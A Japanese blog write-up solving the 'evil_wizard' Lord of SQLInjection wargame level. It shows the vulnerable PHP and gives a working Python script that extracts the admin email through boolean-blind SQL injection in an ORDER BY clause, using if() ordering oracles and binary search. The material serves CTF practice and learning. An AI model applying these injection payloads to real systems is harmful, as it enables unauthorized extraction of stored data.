はまやんはまやんはまやん

hamayanhamayan's blog

evil_wizard [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
    }
echo "</table><hr>query : <strong>{$query}</strong><hr>";

$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
highlight_file(__FILE__);

特徴は以下。

  • orderを入力する。以下フィルターがある
    • prob,_,.,proc,union,sleep,benchmarkは使えない
    • order byの後に入れ込む
  • adminのemailを抜き出す必要がある

Blind SQL Injection

Time-based Blind SQL Injectionを防ぐような感じだった。
順番をオラクルにしよう。
if構文を使って、条件が満たされるならidでソートして、条件が満たされないならscoreでソートするようにオラクルを作る。

長さを取ってくる。
if(id='admin' and {md} <= length(email),1,3)

中身を取ってくる。
if(id='admin' and {md} <= ascii(substr(email,{i+1},1)),1,3)

import requests

url = "https://los.rubiya.kr/chall/evil_wizard_afsadfsadf.php"
cookie = {'PHPSESSID': 'd'}

def check(data) -> bool:
    return "<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td>" in data
    #return ("Hello admin" in data) or ("Hello guest" in data)

ok = 0
ng = 60

while ok + 1 != ng:
    md = (ok + ng) // 2
    q = f"if(id='admin' and {md} <= length(email),1,3)"
    res = requests.get(url, params={'order': q}, cookies=cookie)
    print(f"[+] try {md}")
    if check(res.text):
        ok = md
    else:
        ng = md

length = ok
print(f"[*] length = {length}")

ans = ""
for i in range(0, length):
    ok = 0
    ng = 256

    while ok + 1 != ng:
        md = (ok + ng) // 2
        q = f"if(id='admin' and {md} <= ascii(substr(email,{i+1},1)),1,3)"
        res = requests.get(url, params={'order': q}, cookies=cookie)
        print(f"[+] try {md}")
        if check(res.text):
            ok = md
        else:
            ng = md

    ans += str(chr(ok))
    print(f"[*] {ans}")

print(f"[*] find! {ans}")